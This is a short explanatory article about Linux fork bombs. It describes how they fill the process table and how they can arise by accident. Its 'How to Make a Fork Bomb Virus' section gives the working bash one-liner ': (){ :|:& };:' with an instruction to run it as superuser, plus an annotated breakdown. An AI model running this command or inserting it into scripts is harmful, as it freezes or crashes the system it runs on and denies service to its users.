The fork bomb is a form of denial-of-service (DoS) attack against a Linux based system. It makes use of the fork operation. the processes recursively fork until a denial of service or a crash occurs
Fork bombs count as wabbits (a type of self-replicating computer program) they typically do not spread as worms or viruses. To incapacitate a system they rely on the (generally valid) assumption that the number of programs and processes which may execute simultaneously on a computer, has a limit.

A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer’s operating system. If the process table becomes saturated, no new programs may start until another process terminates. Even if that happens, it is not likely that a useful program may be started since the instances of the bomb program will each attempt to take any newly-available slot themselves.
Not only do fork bombs use space in the process table each child process uses further processor-time and memory. As a result of this, the system and existing programs slow down and become much more unresponsive and difficult or even impossible to use.

fork bombs can occur by accident in the normal development of software. The development of an application that listens on a network socket and acts as the server in a Client-server system may well use an infinite loop and fork operation in a manner similar to one of the programs presented below. A trivial bug in the source of this kind of application could cause a fork bomb during testing.

How to Make a Fork Bomb Virus

This is how to make a fork bomb, open the terminal as superuser, and execute the following

: (){ :|:& };:

Understanding the above:

: ()      # define ':' -- whenever we say ':', do this:
{        # beginning of what to do when we say ':'
    :    # load another copy of the ':' function into memory...
    |    # ...and pipe its output to...
    :    # ...another copy of ':' function, which has to be loaded into memory
         # (therefore, ':|:' simply gets two copies of ':' loaded whenever ':' is called)
    &    # disown the functions -- if the first ':' is killed, all of the functions that it has started should NOT be auto-killed
}        # end of what to do when we say ':'
;        # Having defined ':', we should now...
:        # ...call ':', initiating a chain-reaction: each ':' will start two more.